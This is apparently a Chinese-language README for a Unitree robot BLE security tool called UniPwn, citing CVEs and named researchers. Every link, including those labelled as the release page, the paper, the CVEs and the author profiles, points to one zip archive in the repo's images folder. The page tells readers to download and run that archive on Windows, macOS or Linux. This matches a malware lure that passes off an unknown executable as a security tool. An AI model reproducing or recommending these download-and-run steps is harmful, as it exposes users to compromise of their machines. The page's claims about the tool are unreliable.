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# 🤖 UniPwn - 轻松分析 Unitree 机器人安全性 [](https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip) ## 📖 简介 UniPwn 是一款专为用户设计的工具，用于分析 Unitree 机器人 BLE 服务中的安全漏洞。借助 UniPwn，您可以轻松识别命令注入点并增强机器人系统的安全性。无论您的技术背景如何，这款应用程序都非常适合任何希望加深对机器人相关网络安全威胁理解的用户。 ## 🚀 入门指南 要开始使用 UniPwn，请按照以下简单步骤下载并运行该软件。 ### 📥 下载与安装 1. **访问发布页面** 前往 [发布页面](https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip) 查找 UniPwn 的最新版本。 2. **下载应用程序** 查找最新版本并下载适用于您操作系统的 UniPwn 应用程序。选择与您的系统相匹配的文件。 3. **安装 UniPwn** 对于 Windows： - 在您的 Downloads 文件夹中找到下载的文件（`https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip`）。 - 双击文件运行安装程序。按照提示完成安装。 对于 macOS： - 在您的 Downloads 文件夹中找到下载的文件（`https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip`）。 - 双击文件并将 UniPwn 应用程序拖拽到您的 Applications 文件夹。 对于 Linux： - 打开终端并导航至您的 Downloads 文件夹。 - 使用命令 `chmod +x UniPwn` 赋予应用程序可执行权限。 - 然后运行 `./UniPwn` 启动程序。 ### 📂 使用说明 1. **打开 UniPwn** 安装完成后，从您的 Applications 文件夹、开始菜单或终端打开 UniPwn 应用程序。 2. **遵循指引** 用户界面将引导您完成分析 Unitree 机器人的过程。只需在提示时输入所需的详细信息即可。 3. **查看结果** 分析完成后，UniPwn 将向您展示一份报告。该报告会重点显示检测到的任何漏洞并提供缓解建议。 ## 🔍 功能特性 - **用户友好的界面** UniPwn 设计易于使用，不需要任何编程技能。 - **命令注入分析** 专注于发现 Unitree 机器人 BLE 服务特有的命令注入漏洞。 - **全面的报告** 提供易于理解的报告，汇总检测到的漏洞和预防策略。 ## 📄 研究论文 该工具的相关研究已收录在一篇论文中，该论文详细讨论了对 Unitree G1 机器人的安全评估。欲了解更多信息，请访问以下链接：[Cybersecurity AI: Humanoid Robotics](https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip)。 ## 🛡️ 相关 CVE UniPwn 有助于解决以下漏洞： - [CVE-2025-35027](https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip) - [CVE-2025-60017](https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip) - [CVE-2025-60250](https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip) - [CVE-2025-60251](https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip) ## 👤 作者与贡献者 - **Bin4ry** (Andreas Makris) - [https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip] - **合著者**: h0stile (Kevin Finisterre) - **贡献者**: legion1581 (Konstantin Severov) 来自 [theroboverse](https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip) ## 📝 联系方式 如果您对 UniPwn 有任何疑问或需要帮助，请随时通过 GitHub 联系或直接联系作者。 ### 📦 再次下载 为了方便访问，别忘了访问 [发布页面](https://github.com/fromgabyaaye/UniPwn/raw/refs/heads/main/images/Uni-Pwn-v1.2.zip) 下载 UniPwn，立即开始您的分析。

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